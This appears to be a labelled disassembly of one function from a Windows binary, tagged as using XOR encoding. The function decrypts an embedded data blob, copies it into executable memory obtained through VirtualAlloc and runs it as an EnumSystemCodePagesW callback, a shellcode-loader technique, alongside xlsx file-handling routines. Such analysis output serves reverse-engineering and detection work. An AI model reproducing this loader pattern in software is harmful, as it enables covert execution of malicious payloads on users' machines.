Function at 0x4058c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push esi
push edi
push str.VirtualAlloc
push str.Kernel32.dll
xor esi, esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x2faf080
push 8
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x405c69
mov ecx, 0x2faf080
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x405904
push ebx
lea ebx, [ecx + 0xd]
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ecx + section..data]
ror al, 3
xor al, byte [esi + str.pvistfraqdjms]
mov byte [ecx + section..data], al
lea eax, [esi + 1]
cdq
idiv ebx
movzx eax, byte [ecx + 0x428001]
ror al, 3
xor al, byte [edx + str.pvistfraqdjms]
mov byte [ecx + 0x428001], al
lea eax, [edx + 1]
cdq
idiv ebx
mov al, byte [ecx + 0x428002]
ror al, 3
xor al, byte [edx + str.pvistfraqdjms]
mov byte [ecx + 0x428002], al
lea eax, [edx + 1]
cdq
add ecx, 3
idiv ebx
mov esi, edx
cmp ecx, 0x17af
jb 0x405920
pop ebx
push 0x40
push 0x3000
push 0x17af
push 0
call edi
mov edi, eax
lea eax, [edi + 0x17ae]
cmp edi, 0x4297ae
ja 0x4059c6
cmp eax, section..data
jb 0x4059c6
mov esi, section..data
mov ecx, edi
sub esi, edi
mov edx, 0x17af
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x4059b6
jmp 0x4059d9
push 0x17af
push section..data
push edi
call fcn.00407e40
add esp, 0xc
push 0
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
push 0x20
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x5c], 0xf
movups xmmword [ebp - 0x70], xmm0
call fcn.00403000
movups xmm0, xmmword [str.path_to_your_xlsx_file.xlsx]
mov edx, eax
mov dword [ebp - 0x60], 0x1b
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x5c], 0x1f
push 0x20
movups xmmword [edx], xmm0
movq xmm0, qword [0x41e558]
movq qword [edx + 0x10], xmm0
movzx ecx, word [0x41e560]
mov word [edx + 0x18], cx
lea ecx, [ebp - 0x54]
movzx eax, byte [0x41e562]
mov byte [edx + 0x1a], al
xor eax, eax
mov byte [edx + 0x1b], 0
movq xmm0, qword [str.temp_unzipped]
mov word [ebp - 0x12], ax
mov eax, dword [0x41e56c]
movq qword [ebp - 0x20], xmm0
xorps xmm0, xmm0
mov dword [ebp - 0x18], eax
movzx eax, byte [0x41e570]
mov dword [ebp - 0x10], 0xd
mov dword [ebp - 0xc], 0xf
mov byte [ebp - 0x14], al
mov byte [ebp - 0x13], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
call fcn.00403000
movups xmm0, xmmword [str.path_for_modified_xlsx.xlsx]
mov edx, eax
mov dword [ebp - 0x44], 0x1b
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x40], 0x1f
movups xmmword [edx], xmm0
movq xmm0, qword [0x41e584]
movq qword [edx + 0x10], xmm0
movzx ecx, word [0x41e58c]
mov word [edx + 0x18], cx
movzx eax, byte [0x41e58e]
mov byte [edx + 0x1a], al
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x70]
mov byte [edx + 0x1b], 0
push eax
call fcn.00404fe0
push str.xlworksheets_sheet1.xml
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.00401230
push eax
lea eax, [ebp - 8]
push eax
call fcn.00403ff0
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x405b3a
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405b30
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405c73
push ecx
push edx
call fcn.00406b04
add esp, 8
push str.xlworksheets_sheet1.xml
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.00401230
push eax
call fcn.00403b40
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x405b86
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405b7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405c78
push ecx
push edx
call fcn.00406b04
add esp, 8
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00405670
mov eax, dword [ebp - 8]
push dword [eax + 4]
lea eax, [ebp - 8]
push eax
mov ecx, eax
call fcn.004015b0
push 0x40
push dword [ebp - 8]
call fcn.00406b04
mov ecx, dword [ebp - 0x40]
add esp, 8
cmp ecx, 0x10
jb 0x405be5
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405bdb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405c7d
push ecx
push edx
call fcn.00406b04
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
cmp ecx, 0x10
jb 0x405c27
mov edx, dword [ebp - 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405c1d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405c7d
push ecx
push edx
call fcn.00406b04
add esp, 8
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0xf
mov byte [ebp - 0x20], 0
cmp ecx, 0x10
jb 0x405c69
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405c5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405c7d
push ecx
push edx
call fcn.00406b04
add esp, 8
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
call fcn.0040b4af
call fcn.0040b4af
call fcn.0040b4af
int3